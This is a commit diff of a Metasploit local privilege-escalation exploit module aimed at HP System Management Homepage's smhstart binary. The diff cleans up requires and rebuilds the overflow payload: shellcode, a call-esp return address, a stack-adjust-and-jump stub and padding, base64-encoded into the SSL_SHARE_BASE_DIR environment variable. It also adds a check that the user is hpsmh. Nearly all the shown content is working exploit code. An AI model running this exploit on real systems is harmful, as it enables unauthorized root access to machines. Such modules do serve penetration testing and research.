|
8 | 8 | require 'msf/core'
|
9 | 9 | require 'rex'
|
10 | 10 | require 'msf/core/post/common'
|
11 |
| -require 'msf/core/post/file' |
12 |
| -require 'msf/core/post/linux/priv' |
13 |
| -require 'msf/core/exploit/local/linux_kernel' |
14 | 11 | require 'msf/core/exploit/local/linux'
|
15 |
| -require 'msf/core/exploit/local/unix' |
16 | 12 | require 'msf/core/exploit/exe'
|
17 | 13 |
|
18 |
| -#load 'lib/msf/core/post/file.rb' |
19 |
| -#load 'lib/msf/core/exploit/local/unix.rb' |
20 |
| -#load 'lib/msf/core/exploit/local/linux.rb' |
21 |
| -#load 'lib/msf/core/exploit/local/linux_kernel.rb' |
22 |
| - |
23 | 14 | class Metasploit4 < Msf::Exploit::Local
|
24 | 15 |
|
25 | 16 | include Msf::Exploit::EXE
|
@@ -85,8 +76,17 @@ def exploit
|
85 | 76 | pl = payload.encoded
|
86 | 77 | padding = rand_text_alpha(target['Offset'])
|
87 | 78 | ret = [target['CallEsp']].pack('V')
|
88 |
| - exploit = Rex::Text.encode_base64("#{pl}#{ret}\x81\xc4\x11\xff\xff\xff\xe9\x0e\xff\xff\xff#{padding}") |
89 |
| - cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)") |
| 79 | + exploit = pl |
| 80 | + exploit << ret |
| 81 | + exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11 |
| 82 | + exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl |
| 83 | + exploit << padding |
| 84 | + exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better |
| 85 | + id=cmd_exec("id -un") |
| 86 | + if id!="hpsmh" |
| 87 | + fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must to be hpsmh to exploit this") |
| 88 | + end |
| 89 | + cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)") |
90 | 90 | cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
91 | 91 | end
|
92 | 92 |
|
|
0 commit comments